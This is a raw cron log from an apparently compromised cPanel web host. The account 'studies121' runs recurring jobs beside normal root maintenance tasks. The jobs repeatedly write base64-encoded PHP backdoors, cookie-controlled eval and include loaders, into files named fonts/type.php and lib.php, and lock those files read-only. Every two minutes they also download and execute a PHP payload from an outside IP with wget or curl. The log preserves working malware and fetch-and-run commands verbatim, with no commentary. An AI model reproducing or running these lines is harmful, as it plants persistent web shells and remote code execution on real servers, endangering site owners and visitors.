Sep 21 03:03:01 ip-184-168-122-23 CROND[19745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:03:01 ip-184-168-122-23 CROND[19747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:03:01 ip-184-168-122-23 CROND[19746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:04:01 ip-184-168-122-23 CROND[19828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:04:01 ip-184-168-122-23 CROND[19830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:04:01 ip-184-168-122-23 CROND[19833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:04:01 ip-184-168-122-23 CROND[19832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:04:01 ip-184-168-122-23 CROND[19831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:05:02 ip-184-168-122-23 CROND[19918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:05:02 ip-184-168-122-23 CROND[19919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:05:02 ip-184-168-122-23 CROND[19921]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 03:05:02 ip-184-168-122-23 CROND[19922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:05:02 ip-184-168-122-23 CROND[19924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:05:02 ip-184-168-122-23 CROND[19925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:05:02 ip-184-168-122-23 CROND[19926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:06:01 ip-184-168-122-23 CROND[20026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:06:01 ip-184-168-122-23 CROND[20028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:06:01 ip-184-168-122-23 CROND[20030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:06:01 ip-184-168-122-23 CROND[20031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:06:01 ip-184-168-122-23 CROND[20029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:07:01 ip-184-168-122-23 CROND[20119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:07:01 ip-184-168-122-23 CROND[20122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:07:01 ip-184-168-122-23 CROND[20123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:07:01 ip-184-168-122-23 CROND[20124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:08:01 ip-184-168-122-23 CROND[20287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:08:01 ip-184-168-122-23 CROND[20289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:08:01 ip-184-168-122-23 CROND[20290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:08:01 ip-184-168-122-23 CROND[20291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:08:01 ip-184-168-122-23 CROND[20292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:09:01 ip-184-168-122-23 CROND[20383]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 03:09:01 ip-184-168-122-23 CROND[20384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:09:01 ip-184-168-122-23 CROND[20388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:09:01 ip-184-168-122-23 CROND[20389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:09:01 ip-184-168-122-23 CROND[20387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:10:01 ip-184-168-122-23 CROND[20475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:10:01 ip-184-168-122-23 CROND[20476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 03:10:01 ip-184-168-122-23 CROND[20479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:10:01 ip-184-168-122-23 CROND[20482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:10:01 ip-184-168-122-23 CROND[20483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:10:01 ip-184-168-122-23 CROND[20486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:10:01 ip-184-168-122-23 CROND[20485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:10:01 ip-184-168-122-23 CROND[20487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:11:01 ip-184-168-122-23 CROND[20598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:11:01 ip-184-168-122-23 CROND[20599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:11:01 ip-184-168-122-23 CROND[20600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:11:01 ip-184-168-122-23 CROND[20601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:12:01 ip-184-168-122-23 CROND[20695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:12:01 ip-184-168-122-23 CROND[20696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:12:01 ip-184-168-122-23 CROND[20698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:12:01 ip-184-168-122-23 CROND[20699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:12:01 ip-184-168-122-23 CROND[20700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:13:01 ip-184-168-122-23 CROND[20828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:13:01 ip-184-168-122-23 CROND[20829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:13:01 ip-184-168-122-23 CROND[20830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:13:01 ip-184-168-122-23 CROND[20831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:14:01 ip-184-168-122-23 CROND[20922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:14:01 ip-184-168-122-23 CROND[20921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:14:01 ip-184-168-122-23 CROND[20923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:14:01 ip-184-168-122-23 CROND[20924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:14:01 ip-184-168-122-23 CROND[20926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:15:01 ip-184-168-122-23 CROND[21026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:15:01 ip-184-168-122-23 CROND[21028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:15:01 ip-184-168-122-23 CROND[21030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:15:01 ip-184-168-122-23 CROND[21029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
